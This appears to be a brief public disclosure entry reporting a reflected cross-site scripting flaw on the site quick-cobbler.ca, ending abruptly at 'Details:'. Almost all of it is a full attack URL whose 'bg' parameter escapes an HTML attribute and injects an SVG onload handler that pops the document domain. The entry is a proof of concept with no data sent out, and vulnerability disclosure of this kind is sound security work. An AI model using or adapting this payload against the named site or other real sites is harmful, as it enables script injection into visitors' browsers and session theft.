quick-cobbler.ca XSS vulnerability

Vulnerable URL: https://quick-cobbler.ca/svcore/full.html?bg=8C6636%22%3E%3Csvg/onload=alertdocument.domain%3E=https%3A%2F%2Fquick-cobbler.ca%2Fgallery.xml=https://quick-cobbler.ca/=false=true=false=true=true=true=%23fff=%23fff=true=-1=Climbing%20Mt.%20Colin%20Jasper%2C%20Alberta Details:...